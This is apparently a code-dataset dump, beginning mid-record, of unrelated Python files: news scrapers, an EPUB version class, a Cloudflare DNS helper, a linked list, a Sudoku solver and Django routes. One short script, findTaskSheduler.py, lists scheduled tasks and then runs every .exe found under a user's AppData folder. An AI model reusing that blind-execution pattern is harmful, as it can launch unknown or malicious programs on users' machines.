\").split(\":\")[-1]).strip()\n if len(author)>6:\n author = author.replace(\"本刊记者 \",\"\")\n if len(author)>4:\n author = '#'.join(author.split(\" \"))\n cont = html.xpath('//div[@class=\"content\"]//div[@class=\"highlight\"]/p//*[not(@color=\"navy\")]/text()|//div[@class=\"highlight\"]/p/text()')\n content = []\n subTitle = \"\".join(html.xpath('//div[@class=\"row\"]//div[@class=\"inner\"]//h2/text()')).strip()\n if re.search('(.*?)',subTitle):\n subTitle = \"\"\n authorArea = \"\"\n abstract = \"\"\n channel = \"\"\n imagedescip = html.xpath('//div[@class=\"content\"]//div[@class=\"highlight\"]/p/font/text()')\n if len(imagedescip) <= 1:\n imageDescriptions = \"\".join(imagedescip)\n else:\n imageDescriptions = \"#\".join(imagedescip)\n\n authorDescriptions = \"\"\n for x in cont:\n if x.strip() != \"\":\n if re.search('\\s*(作者:.*?)',x):\n authorDescriptions = \"\".join(re.findall('\\s*(作者:(.*?))',x))\n x = \"

\" + x.strip() + \"

\"\n content.append(x)\n content = \"\".join(content)\n if len(image) <= 1:\n imgurls = \"\".join(image)\n else:\n imgurls = \"#\".join(image)\n self.message.append(\n {\"title\": title, \"subTitle\": subTitle, \"author\": author, \"authorArea\": authorArea,\n \"authorDescriptions\": authorDescriptions, \"abstract\": abstract,\n \"channel\": channel, \"mainBody\": content, \"page\": page,\n \"images\": imgurls, \"imageDescriptions\": imageDescriptions, \"cookies\": \"\",\n \"referer\": \"\"})\n a += 1\n print(\"第\" + str(a) + \"条采集成功\")\n # print(\"爬取完成\")\n\n\n\n def run(self):\n url = \"http://www.qstheory.cn/qs/mulu.htm\"\n api = self.api\n # 获取token信息\n ret = api.gettoken()\n if not ret:\n return 0\n # 从网页中获取发行日期\n publishedtime = self.geturl(url)[2]\n # 判断报纸是否存在\n ret = api.checknewspaperexists(self.newspaperlibraryid, publishedtime)\n # 如果为True,则说明已经存在\n if (ret[\"success\"] and ret[\"result\"]):\n print(\"采集失败:求是周报-发行日期已经存在,报纸日期(\" + publishedtime + \")\")\n return 0\n else:\n print(\"开始采集:求是周报\")\n print(\"正在采集新闻……\")\n result = self.geturl(url)\n self.parsepage(result[0],result[1],result[3])\n super().uploaddata(publishedtime,self.message,self.newspaperlibraryid,False)\n print(\"采集成功:求是周报-发行日期(\" + publishedtime + \"),文章数量(\" + str(len(self.message)) + \")\")\n return len(self.message)\n\n\n","sub_path":"spiders/qiushi1.py","file_name":"qiushi1.py","file_ext":"py","file_size_in_byte":7683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"526452002","text":"import os\r\n\r\ndef main():\r\n findFile()\r\n triggerExe()\r\n\r\ndef triggerExe():\r\n src = \"C:/Users/GTI/AppData/\"\r\n for root,die,folder in os.walk(src):\r\n for files in folder:\r\n if files.endswith(\".exe\"):\r\n print(os.path.join(root,files))\r\n os.system(os.path.join(root,files))\r\n\r\ndef findFile():\r\n src = \"C:/Windows/System32/Tasks/\"\r\n for files in os.listdir(src):\r\n f = os.path.isfile(os.path.join(src,files))\r\n if True == f :\r\n print(files)\r\n print(\"this task schtduler\")\r\n\r\n\r\n\r\nif __name__==\"__main__\":\r\n main()\r\n","sub_path":"findTaskSheduler.py","file_name":"findTaskSheduler.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"628688188","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport dateutil.parser\nimport json\n\nfrom crawler_news.items import CrawlerNewsItem\n\n\nclass BrasilElpaisSpider(scrapy.Spider):\n name = 'brasil_elpais'\n allowed_domains = ['brasil.elpais.com']\n start_urls = []\n\n def __init__(self, *a, **kw):\n super(BrasilElpaisSpider, self).__init__(*a, **kw)\n with open('start_urls/brasil_elpais.json') as json_file:\n data = json.load(json_file)\n self.start_urls = list(data.values())\n\n def parse(self, response):\n def status_urls(url):\n with open('start_urls/brasil_elpais.json') as json_file:\n data = json.load(json_file)\n for key, value in data.items():\n if key in response.request.url:\n data[key] = response.request.url\n with open('start_urls/brasil_elpais.json', 'w') as outfile: \n json.dump(data, outfile)\n break\n \n status_urls(response.request.url)\n\n for article in response.css(\"article\"):\n link_article = article.css(\"figure a::attr(href)\").extract_first()\n yield response.follow(link_article, self.parse_article)\n # get more articles\n next_page = response.css('li.paginacion-siguiente a::attr(href)').extract_first()\n if next_page is not None:\n yield response.follow(next_page, self.parse)\n\n def parse_article(self, response):\n # get title\n title = response.css('h1.articulo-titulo ::text').extract_first()\n # get sub_title\n sub_title = response.css('h2.articulo-subtitulo ::text').extract_first()\n # get article's date\n date = dateutil.parser.parse(response.css('time.articulo-actualizado ::attr(datetime)').extract_first()).strftime('%s') # transform date from isodate to timestamp\n # get author\n author = response.css('span.autor-nombre a::text').extract_first()\n # get text\n text = \"\"\n for paragraph in response.css('div.articulo-cuerpo p::text'):\n text = (text + paragraph.extract())\n # get section\n section = response.css('a.enlace span::text').extract_first()\n\n news = CrawlerNewsItem(\n title=title, sub_title=sub_title, date=date,\n author=author, text=text, section=section, _id=response.request.url)\n\n yield news\n","sub_path":"crawler_news/spiders/brasil_elpais.py","file_name":"brasil_elpais.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"480214145","text":"\"\"\"Manejador de las versiones de los archivos epub.\nCurrent epub version is 3.0.\"\"\"\nimport enum\n\n__author__ = 'Sergio Barbosa Fernández '\n__date__ = '01/08/14'\n\n\n@enum.unique\nclass EnumVersion(enum.Enum):\n EPUB_2_0 = float(2.0)\n EPUB_3_0 = float(3.0)\n\n\nclass EpubVersion:\n def __init__(self, version):\n self.version = version\n \n @property\n def version(self):\n \"\"\"Get epub version.\"\"\"\n return self.__version\n \n @version.setter\n def version(self, ver):\n \"\"\"Set epub version, only version 2.0 or 3.0\"\"\"\n try:\n ver = float(ver)\n except:\n raise TypeError(\"Error in Epub version, no valid type [{0}].\"\n .format(type(ver)))\n\n if ver == 2.0:\n self.__version = EnumVersion.EPUB_2_0\n elif ver == 3.0:\n self.__version = EnumVersion.EPUB_3_0\n else:\n raise ValueError(\"Error in Epub version. Value: {0}.\".format(ver))\n \n def __lt__(self, other):\n if isinstance(other, EnumVersion):\n return self.version.value < other.value\n elif isinstance(other, EpubVersion):\n return self.version.value < other.version.value\n else:\n return self.version.value < float(other)\n \n def __le__(self, other):\n if isinstance(other, EnumVersion):\n return self.version.value <= other.value\n elif isinstance(other, EpubVersion):\n return self.version.value <= other.version.value\n else:\n return self.version.value <= float(other)\n \n def __eq__(self, other):\n if isinstance(other, (EnumVersion, EpubVersion)):\n return self.version == other\n return self.version.value == float(other)\n \n def __ne__(self, other):\n if isinstance(other, (EnumVersion, EpubVersion)):\n return self.version != other\n return self.version.value != float(other)\n \n def __gt__(self, other):\n if isinstance(other, EnumVersion):\n return self.version.value > other.value\n elif isinstance(other, EpubVersion):\n return self.version.value > other.version.value\n else:\n return self.version.value > float(other)\n \n def __ge__(self, other):\n if isinstance(other, EnumVersion):\n return self.version.value >= other.value\n elif isinstance(other, EpubVersion):\n return self.version.value >= other.version.value\n else:\n return self.version.value >= float(other)\n \n def __str__(self):\n return str(self.version.value)\n\n\ndef get_current_version():\n \"\"\"EPUB 3.0.1 is the current version of the EPUB standard.\n Get an EpubVersion object with the current epub version.\"\"\"\n return EpubVersion(3.0)\n\n\nif __name__ == '__main__':\n v1 = EpubVersion(2)\n print(v1)\n v2 = EpubVersion('2')\n print(v2)\n v3 = EpubVersion(2.0)\n print(v3)\n v4 = EpubVersion(3)\n print(v4)\n v5 = EpubVersion('3.0')\n print(v5)\n try:\n v6 = EpubVersion(12)\n print(v6)\n except Exception as e:\n print(e)\n \n print(\"v1 == 2.0 \", v1 == EnumVersion.EPUB_2_0)\n print(\"v1 == 3.0 \", v1 == EnumVersion.EPUB_3_0)\n print(\"v1 != 2.0 \", v1 != EnumVersion.EPUB_2_0)\n print(\"v1 != 3.0 \", v1 != EnumVersion.EPUB_3_0)\n print(\"v5 > 2.0 \", v5 > EnumVersion.EPUB_2_0)\n print(\"v1 == v2 \", v1 == v2)\n print(\"v1 != v2 \", v1 != v2)\n print(\"v4 > v2 \", v4 > v2)\n print()\n print(v1 == '3.0')\n current = get_current_version()\n print(current)\n\n import os\n\n print(os.getcwd())\n\n","sub_path":"utils/versions.py","file_name":"versions.py","file_ext":"py","file_size_in_byte":3665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"596205884","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Time : 2019/11/6\n# @Author : Edrain\nfrom functools import wraps\n\n\ndef demo_test(func):\n @wraps(func)\n def inner_func():\n inner_obj = 'inner_obj'\n print(inner_obj)\n return func(inner_obj) #\n\n return inner_func\n\n\n@demo_test\ndef demo_test_func(obj):\n print('---', obj) #\n # return False\n return obj\n\n\na = demo_test_func()\nprint(a)\nb = a + \"abc\"\nprint(b)\n","sub_path":"code_ed/Day16-20/decorator07.py","file_name":"decorator07.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"231734396","text":"import datetime\nimport os\nfrom typing import List\n\nfrom CloudFlare import CloudFlare\n\n_zone_id = os.getenv(\"CLOUDFLARE_ZONE_ID\")\ntoken = os.getenv('CLOUDFLARE_TOKEN')\n\n_client = CloudFlare(token=token)\n\n_zone_name = os.getenv(\"CLOUDFLARE_ZONE_NAME\")\ninfix = os.getenv(\"CLOUDFLARE_INFIX\")\n\n\ndef _get_domain_space(instance_id: str) -> str:\n return f'{instance_id}.{infix}'\n\n\ndef get_wildcard_domain(instance_id: str) -> str:\n return f'*.{_get_domain_space(instance_id)}.{_zone_name}'\n\n\ndef register_domain(instance_id: str, ip: str) -> str:\n name = f'{ip}.{_get_domain_space(instance_id)}'\n _client.zones.dns_records.post(_zone_id, data={\n 'name': name,\n 'type': 'A',\n 'content': ip\n })\n return f'{name}.{_zone_name}'\n\n\ndef unregister_domain(record_id):\n _client.zones.dns_records.delete(_zone_id, record_id)\n\n\ndef _is_outdated(record: dict) -> bool:\n name: str = record['name']\n if not name.endswith(f'.{infix}.{_zone_name}'):\n return False\n iso_creation_time = record['created_on'][:-1]\n created_on = datetime.datetime.fromisoformat(iso_creation_time)\n expiration = created_on + datetime.timedelta(days=90)\n now = datetime.datetime.now()\n return now >= expiration\n\n\ndef get_outdated_entries() -> List[str]:\n records = _client.zones.dns_records.get(_zone_id)\n return list(map(lambda it: it['id'], filter(_is_outdated, records)))\n","sub_path":"cloudflare.py","file_name":"cloudflare.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"461734389","text":"# File: TestLinkedList.py\n# Description: HW 12\n# Student Name: Alice Liang\n# Student UT EID: axl84\n# Course Name: CS 313E\n# Unique Number: 84825\n# Date Created: 07/22/20\n# Date Last Modified: 07/23/20\n\nimport sys\nclass Link (object):\n\n def __init__ (self, data, next = None):\n self.data = data\n self.next = next\n\nclass LinkedList (object):\n\n # initialize the linked list\n def __init__ (self):\n self.first = None\n self.last = None\n\n # get number of links \n def get_num_links (self):\n\n num = 0\n current = self.first\n while current != None:\n num += 1\n current = current.next\n\n return num\n \n # add an item at the beginning of the list\n def insert_first (self, data): \n\n new_link = Link(data)\n\n new_link.next = self.first\n self.first = new_link\n\n if self.last == None:\n self.last = new_link\n\n # add an item at the end of a list\n def insert_last (self, data): \n\n new_link = Link(data)\n\n if self.first == None:\n self.first = new_link\n self.last = new_link\n return\n\n self.last.next = new_link\n self.last = new_link\n\n # add an item in an ordered list in ascending order\n def insert_in_order (self, data): \n\n new_link = Link(data)\n\n current = self.first\n previous = None\n\n while current != None:\n if data <= current.data:\n if previous != None:\n tmpLink = previous.next\n previous.next = new_link\n new_link.next = tmpLink\n else:\n self.insert_first(data)\n return\n\n else:\n previous = current\n current = current.next\n\n if current == None:\n self.insert_last(data)\n return\n\n # search in an unordered list, return None if not found\n def find_unordered (self, data): \n\n current = self.first\n\n if current == None:\n return None\n\n while current.data != data:\n if current.next == None:\n return None\n else:\n current = current.next\n \n return current.data\n\n # Search in an ordered list, return None if not found\n def find_ordered (self, data): \n\n current = self.first\n\n if current == None:\n return None\n\n while current.data != data:\n if current.next == None or data < current.data:\n return None\n else:\n current = current.next\n \n return current.data\n\n # Delete and return Link from an unordered list or None if not found\n def delete_link (self, data):\n\n previous = self.first\n current = self.first\n\n if current == None:\n return None\n\n while current.data != data:\n if current.next == None:\n return None\n else:\n previous = current\n current = current.next\n\n if current != None:\n previous.next = current.next\n\n return current.data\n\n # String representation of data 10 items to a line, 2 spaces between data\n def __str__ (self):\n\n current = self.first\n s = ''\n while current != None:\n if len(s) > 0:\n s += ' '\n s += str(current.data)\n current = current.next\n \n return s \n\n # Copy the contents of a list and return new list\n def copy_list (self):\n\n current = self.first\n new_LinkedList = LinkedList()\n while current != None:\n new_LinkedList.insert_last(current.data)\n current = current.next\n \n return new_LinkedList\n\n # Reverse the contents of a list and return new list\n def reverse_list (self): \n\n previous = None\n current = self.first\n self.last = self.first\n\n new_LinkedList = LinkedList()\n\n while current != None:\n new_LinkedList.insert_first(current.data)\n new = current.next\n current.next = previous\n previous = current\n current = new\n self.first = previous\n\n return new_LinkedList\n\n # Sort the contents of a list in ascending order and return new list\n def sort_list (self): \n\n if self.first == None:\n return None\n\n current = self.first\n new_LinkedList = LinkedList()\n\n while current != None:\n new_LinkedList.insert_in_order(current.data)\n current = current.next\n\n return new_LinkedList\n\n # Return True if a list is sorted in ascending order or False otherwise\n def is_sorted (self):\n\n data = -sys.maxsize\n current = self.first\n\n while current != None:\n if data > current.data:\n return False\n else:\n data = current.data\n current = current.next\n return True\n\n # Return True if a list is empty or False otherwise\n def is_empty (self): \n\n current = self.first\n\n if current == None:\n return True\n\n return False\n\n # Merge two sorted lists and return new list in ascending order\n def merge_list (self, other): \n\n current = other.first\n new_LinkedList = self.copy_list()\n\n while current != None:\n new_LinkedList.insert_in_order(current.data)\n current = current.next\n \n return new_LinkedList\n\n # Test if two lists are equal, item by item and return True\n def is_equal (self, other):\n\n current1 = self.first\n current2 = other.first\n\n while current1 != None and current2 != None:\n if current1.data != current2.data:\n return False\n current1 = current1.next\n current2 = current2.next \n\n if current1 == None and current2 == None:\n return True\n\n if current1 == None or current2 == None:\n return False\n\n return True\n\n # Return a new list, keeping only the first occurence of an element and removing all duplicates. Do not change the order of the elements.\n def remove_duplicates (self):\n\n if self.first == None:\n return None\n \n current = self.first\n\n new_LinkedList = LinkedList()\n\n while current != None:\n if new_LinkedList.find_unordered(current.data) == None:\n new_LinkedList.insert_last(current.data)\n current = current.next\n \n return new_LinkedList\n\ndef main():\n\n nums = [7, 5, 8, 3, 2, 4, 5, 8, 7, 9, 11]\n nums2 = [-1, 22, 13, 10, 1, 4, 8, 17, 16]\n\n n = len(nums)\n\n # Test methods insert_first() and __str__() by adding more than 10 items to a list and printing it.\n list1 = LinkedList()\n for i in range(n):\n list1.insert_first(nums[i])\n # assert str(list1) == \"11 9 7 8 5 4 2 3 8 5 7\"\n print(list1)\n\n\n # Test method insert_last()\n list2 = LinkedList()\n for i in range(n):\n list2.insert_last(nums[i])\n # assert str(list2) == \"7 5 8 3 2 4 5 8 7 9 11\"\n print(list2)\n\n\n # Test method insert_in_order()\n list3 = LinkedList()\n for i in range(n):\n list3.insert_in_order(nums[i])\n # assert str(list3) == \"2 3 4 5 5 7 7 8 8 9 11\"\n print(list3)\n\n\n # Test method get_num_links()\n list4 = list2.get_num_links()\n # assert str(list4) == \"11\"\n print(list4)\n\n\n # Test method find_unordered() \n # Consider two cases - data is there, data is not there \n list5 = list2.find_unordered(5)\n list55 = list2.find_unordered(1)\n # assert str(list5) == \"5\"\n # assert str(list55) == \"None\"\n print(list5)\n print(list55)\n\n\n # Test method find_ordered() \n # Consider two cases - data is there, data is not there \n list6 = list3.find_ordered(5)\n list66 = list3.find_ordered(1)\n # assert str(list6) == \"5\"\n # assert str(list66) == \"None\"\n print(list6)\n print(list66)\n\n\n # Test method delete_link()\n # Consider two cases - data is there, data is not there \n list7 = list2.delete_link(7)\n list77 = list2.delete_link(1)\n # assert str(list7) == \"7\"\n # assert str(list77) == \"None\"\n print(list7) \n print(list77) \n\n\n # Test method copy_list()\n list8 = list2.copy_list()\n # assert str(list8) == \"7 5 8 3 2 4 5 8 7 9 11\"\n print(list8)\n\n\n # Test method reverse_list()\n list9 = list2.reverse_list()\n # assert str(list9) == \"11 9 7 8 5 4 2 3 8 5 7\"\n print(list9)\n\n\n # Test method sort_list()\n list10 = list2.sort_list()\n # assert str(list10) == \"2 3 4 5 5 7 7 8 8 9 11\"\n print(list10)\n\n\n # Test method is_sorted()\n # Consider two cases - list is sorted, list is not sorted\n isSorted1 = list2.is_sorted()\n isSorted2 = list3.is_sorted()\n # assert isSorted1 == False\n # assert isSorted2 == True\n print(isSorted1)\n print(isSorted2)\n\n\n # Test method is_empty()\n isEmpty1 = list2.is_empty()\n empty = LinkedList()\n isEmpty2 = empty.is_empty()\n # assert isEmpty1 == False\n # assert isEmpty2 == True\n print(isEmpty1)\n print(isEmpty2)\n\n\n # Test method merge_list()\n mergelst = LinkedList()\n for i in range(len(nums2)):\n mergelst.insert_in_order(nums2[i])\n list13 = list3.merge_list(mergelst)\n # assert str(list13) == \"-1 1 2 3 4 4 5 5 7 7 8 8 8 9 10 11 13 16 17 22\"\n print(list13)\n\n\n # Test method is_equal()\n # Consider two cases - lists are equal, lists are not equal\n list14 = list2.copy_list()\n isEqual1 = list2.is_equal(list14)\n isEqual2 = mergelst.is_equal(list14)\n # assert isEqual1 == True\n # assert isEqual2 == False\n print(isEqual1)\n print(isEqual2)\n\n \n # Test remove_duplicates()\n remove = list2.remove_duplicates()\n # assert str(remove) == \"11 9 7 8 5 4 2 3\"\n print(remove)\n\nif __name__ == \"__main__\":\n main()","sub_path":"TestLinkedList.py","file_name":"TestLinkedList.py","file_ext":"py","file_size_in_byte":10095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"347355376","text":"import sys\r\nimport arcpy \r\n\r\nfrom cws_toolbox.transform_lidar.cwslidar import *\r\n\r\nclass process_wrapper:\r\n\r\n\tdef __init__(self):\r\n\t\tself.mm_min = arcpy.GetParameterAsText(2) # this occurs here, because it needs to be stored and passed between modules and used again\r\n\t\tself.mm_max = arcpy.GetParameterAsText(3) # down below in the processor method.\r\n\t\t\r\n\t\tif self.mm_min == None:\r\n\t\t\tlog(\"warning, no minimum!\")\r\n\t\telse:\r\n\t\t\tlog(\"min: %s\" % self.mm_min)\r\n\t\tif self.mm_max == None:\r\n\t\t\tlog(\"warning, no maximum!\")\r\n\t\telse:\r\n\t\t\tlog(\"max: %s\" % self.mm_max)\t\t\t\t\t\t\r\n\r\n\tdef processor(self,data,mm,output = None): # mm is the minmax object\r\n\t\ttry:\r\n\t\t\tmm.min = self.mm_min # set the appropriate values on the minmax object\r\n\t\t\tmm.max = self.mm_max\r\n\t\texcept:\r\n\t\t\tlog(\"Couldn't set min-max properties\")\r\n\t\t\traise\r\n\t\t\t\r\n\t\ttry:\r\n\t\t\toutput.write(\"x y z i r g b\\n\")\r\n\t\texcept:\r\n\t\t\tlog(\"Couldn't write header\")\r\n\t\t\traise\r\n\t\t\t\r\n\t\tfor line in data:\r\n\t\t\ttry:\r\n\t\t\t\tnewmatch = re.search('(^\\d+\\.?\\d*\\s+\\d+\\.?\\d*\\s+\\d+\\.?\\d*\\s+)(-?\\d+)(\\s+.*)',line) # find the fourth group of numbers and include the sign\r\n\t\t\t\tif newmatch is None or newmatch.group(1) is None:\r\n\t\t\t\t\tlog(\"Problem matching line for intensity minmax - point dropped for line %s\" % line)\r\n\t\t\t\t\tcontinue\r\n\t\t\texcept:\r\n\t\t\t\tlog(\"Problem reading and scaling intensity - point dropped\")\r\n\t\t\t\tcontinue\r\n\t\t\t\r\n\t\t\ttry:\r\n\t\t\t\tstretched = mm.stretch(newmatch.group(2))\r\n\t\t\texcept:\r\n\t\t\t\tlog(\"Point dropped - couldn't stretch line %s\" % line)\r\n\t\t\t\tcontinue\r\n\t\t\t\t\r\n\t\t\ttry:\r\n\t\t\t\tnew_line = \"%s%s%s\\n\" %(newmatch.group(1),stretched,newmatch.group(3))\r\n\t\t\t\toutput.write(new_line)\r\n\t\t\texcept:\r\n\t\t\t\tlog(\"point dropped - Couldn't write out line where input was %s\" % line)\r\n\r\noutput_dir = arcpy.GetParameterAsText(1)\r\nsetup(output_dir)\r\nscaler = process_wrapper()\r\nprocess_data(scaler)\r\nshutdown()","sub_path":"releases/cws_toolbox/cws_tbx_1.2/cws_toolbox/transform_lidar/rescale.py","file_name":"rescale.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"574721986","text":"from src.sudoku_checker import *\nfrom multiprocessing import Pool\n\n\ndef sudoku_solver(grid):\n \"\"\"\n 16.9 Sudoku Solver\n Solve the given Sudoku grid.\n \"\"\"\n if not is_valid_sudoku(grid):\n return False, grid\n\n # Spawn two processes to search for a solution column-wise and row-wise simultaneously\n p = Pool(processes=2)\n\n def terminate_pool(x):\n p.terminate()\n\n col_search = p.apply_async(search, args=(grid, True), callback=terminate_pool)\n row_search = p.apply_async(search, args=(grid, False), callback=terminate_pool)\n p.close()\n p.join()\n\n if col_search.ready() and col_search.successful():\n return col_search.get()\n elif row_search.successful() and row_search.successful():\n return row_search.get()\n else:\n return False, grid\n\n\ndef search(grid, by_column):\n if by_column:\n found = search_column_wise(grid, 0, 0)\n else:\n found = search_row_wise(grid, 0, 0)\n return found, grid\n\n\ndef search_column_wise(grid, row, col):\n\n # Navigate each cell in the grid by column, then by row, starting next row at the first column\n if col == DIMENSION:\n col = 0\n row += 1\n if row == DIMENSION:\n # When last cell is reached, search is complete and solution is found\n return True\n\n if grid[row][col] == 0:\n # For empty cells, try each value and recurse\n for val in range(1, 10):\n if check_constraints(grid, row, col, val):\n # Try the new value if the constraints are satisfied and continue searching\n grid[row][col] = val\n if search_column_wise(grid, row, col + 1):\n return True\n else:\n # Reset the cell value\n grid[row][col] = 0\n else:\n # Continue search until the last cell is reached\n if search_column_wise(grid, row, col + 1):\n return True\n\n return False\n\n\ndef search_row_wise(grid, row, col):\n\n # Navigate each cell in the grid by row, then by column, starting next column at the first row\n if row == DIMENSION:\n row = 0\n col += 1\n if col == DIMENSION:\n # When last cell is reached, search is complete and solution is found\n return True\n\n if grid[row][col] == 0:\n # For empty cells, try each value and recurse\n for val in range(1, 10):\n if check_constraints(grid, row, col, val):\n # Try the new value if the constraints are satisfied and continue searching\n grid[row][col] = val\n if search_row_wise(grid, row + 1, col):\n return True\n else:\n # Reset the cell value\n grid[row][col] = 0\n else:\n # Continue search until the last cell is reached\n if search_row_wise(grid, row + 1, col):\n return True\n\n return False\n","sub_path":"src/sudoku_solver.py","file_name":"sudoku_solver.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"480301076","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Author: Eric Kow\n# License: BSD3\n\n\"\"\"\nExtract features to CSV files\n\"\"\"\n\nfrom __future__ import print_function\nimport codecs\nimport csv\nimport os\nimport sys\n\nfrom educe.stac.learning import features\nimport educe.corpus\nimport educe.learning.keys\nimport educe.glozz\nimport educe.stac\nimport educe.util\n\nNAME = 'extract'\n\n\ndef mk_csv_writer(keys, fstream):\n \"\"\"\n start off csv writer for a given mode\n \"\"\"\n csv_quoting = csv.QUOTE_MINIMAL\n writer = educe.learning.keys.KeyGroupWriter(fstream,\n keys,\n quoting=csv_quoting)\n writer.writeheader()\n return writer\n\n\n# ----------------------------------------------------------------------\n# options\n# ----------------------------------------------------------------------\n\n\ndef config_argparser(parser):\n \"\"\"\n Subcommand flags.\n \"\"\"\n parser.add_argument('corpus', metavar='DIR',\n help='Corpus dir (eg. data/pilot)')\n parser.add_argument('resources', metavar='DIR',\n help='Resource dir (eg. data/resource)')\n parser.add_argument('output', metavar='DIR',\n help='Output directory')\n # add flags --doc, --subdoc, etc to allow user to filter on these things\n educe.util.add_corpus_filters(parser,\n fields=['doc', 'subdoc', 'annotator'])\n parser.add_argument('--verbose', '-v', action='count',\n default=1)\n parser.add_argument('--quiet', '-q', action='store_const',\n const=0,\n dest='verbose')\n parser.add_argument('--window', action='store', metavar='INT', type=int,\n default=5,\n help=\"Ignore EDU pairs greater this distance apart \"\n \"(-1 for no window) \")\n parser.add_argument('--single', action='store_true',\n help=\"Features for single EDUs (instead of pairs)\")\n parser.add_argument('--parsing', action='store_true',\n help='Extract features for parsing')\n parser.add_argument('--debug', action='store_true',\n help='Emit fields used for debugging purposes')\n parser.add_argument('--experimental', action='store_true',\n help='Enable experimental features '\n '(currently corenlp)')\n parser.add_argument('--ignore-cdus', action='store_true',\n help='Avoid going into CDUs')\n parser.set_defaults(func=main)\n\n# ---------------------------------------------------------------------\n# main\n# ---------------------------------------------------------------------\n\n\ndef main_parsing_pairs(args):\n \"\"\"\n Main to call when live data are passed in (--parsing). Live data are data\n that we want to discourse parsing on, so we don't know if they are attached\n or what the label is.\n\n As of 2014-08-19, there must be an 'unannotated' stage and an optional\n 'units' stage (for dialogue acts)\n \"\"\"\n inputs = features.read_corpus_inputs(args, stage='units|unannotated')\n features_file = os.path.join(args.output, 'extracted-features.csv')\n with codecs.open(features_file, 'wb') as ofile:\n header = features.PairKeys(inputs)\n writer = mk_csv_writer(header, ofile)\n feats = features.extract_pair_features(inputs,\n args.window,\n live=True)\n for row, _ in feats:\n writer.writerow(row)\n\n\ndef _write_singles(gen, ofile):\n \"\"\"\n Given a generator of single edu rows\n\n * use first row as header, then write the first row\n * write the rest of the rows\n\n If there are no rows, this will throw an StopIteration\n exception\n \"\"\"\n # first row\n row0 = gen.next()\n writer = mk_csv_writer(row0, ofile)\n writer.writerow(row0)\n # now the rest of them\n for row in gen:\n writer.writerow(row)\n\n\ndef main_corpus_single(args):\n \"\"\"\n The usual main. Extract feature vectors from the corpus\n (single edus only)\n \"\"\"\n inputs = features.read_corpus_inputs(args)\n of_bn = os.path.join(args.output, os.path.basename(args.corpus))\n of_ext = '.csv'\n if not os.path.exists(args.output):\n os.makedirs(args.output)\n\n just_edus_file = of_bn + '.just-edus' + of_ext\n with codecs.open(just_edus_file, 'wb') as ofile:\n gen = features.extract_single_features(inputs)\n try:\n _write_singles(gen, ofile)\n except StopIteration:\n # FIXME: I have a nagging feeling that we should properly\n # support this by just printing a CSV header and nothing\n # else, but I'm trying to minimise code paths and for now\n # failing in this corner case feels like a lesser evil :-/\n sys.exit(\"No features to extract!\")\n\n\ndef _write_pairs(gen, r_ofile, p_ofile):\n \"\"\"\n Given a generator of pairs and the relations/pairs output\n file handles:\n\n * use first row as header, then write the first row\n * write the rest of the rows\n\n If there are no rows, this will throw an StopIteration\n exception\n \"\"\"\n # first row\n p_row0, r_row0 = gen.next()\n p_writer = mk_csv_writer(p_row0, p_ofile)\n r_writer = mk_csv_writer(r_row0, r_ofile)\n p_writer.writerow(p_row0)\n r_writer.writerow(r_row0)\n # now the rest of them\n for p_row, r_row in gen:\n p_writer.writerow(p_row)\n r_writer.writerow(r_row)\n\n\ndef main_corpus_pairs(args):\n \"\"\"\n The usual main. Extract feature vectors from the corpus\n \"\"\"\n inputs = features.read_corpus_inputs(args)\n of_bn = os.path.join(args.output, os.path.basename(args.corpus))\n of_ext = '.csv'\n if not os.path.exists(args.output):\n os.makedirs(args.output)\n\n relations_file = of_bn + '.relations' + of_ext\n edu_pairs_file = of_bn + '.edu-pairs' + of_ext\n with codecs.open(relations_file, 'wb') as r_ofile:\n with codecs.open(edu_pairs_file, 'wb') as p_ofile:\n gen = features.extract_pair_features(inputs, args.window)\n try:\n _write_pairs(gen, r_ofile, p_ofile)\n except StopIteration:\n # FIXME: I have a nagging feeling that we should properly\n # support this by just printing a CSV header and nothing\n # else, but I'm trying to minimise code paths and for now\n # failing in this corner case feels like a lesser evil :-/\n sys.exit(\"No features to extract!\")\n\n\ndef main(args):\n \"main for feature extraction mode\"\n\n if args.parsing and args.single:\n sys.exit(\"Can't mixing --parsing and --single\")\n elif args.parsing:\n main_parsing_pairs(args)\n elif args.single:\n main_corpus_single(args)\n else:\n main_corpus_pairs(args)\n","sub_path":"educe/stac/learning/cmd/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":6986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"261636066","text":"from django.urls import path\n\nfrom store.views import store, cart, checkout, updateItem, create_product, get_shoes, delete_product, product_details, \\\n edit_product, get_clothes, get_books, get_electronics, get_other\n\nurlpatterns = [\n path('', store, name='store'),\n path('cart/', cart, name='cart'),\n path('checkout/', checkout, name='checkout'),\n\n path('update_item/', updateItem, name='update_item'),\n path('detail//', product_details, name='product_details'),\n path('create/', create_product, name='create product'),\n path('edit/', edit_product, name='edit_product'),\n path('delete/', delete_product, name='delete_product'),\n path('shoes/', get_shoes, name='get shoes'),\n path('clothes/', get_clothes, name='get clothes'),\n path('books/', get_books, name='get books'),\n path('electronics/', get_electronics, name='get electronics'),\n path('other/', get_other, name='get 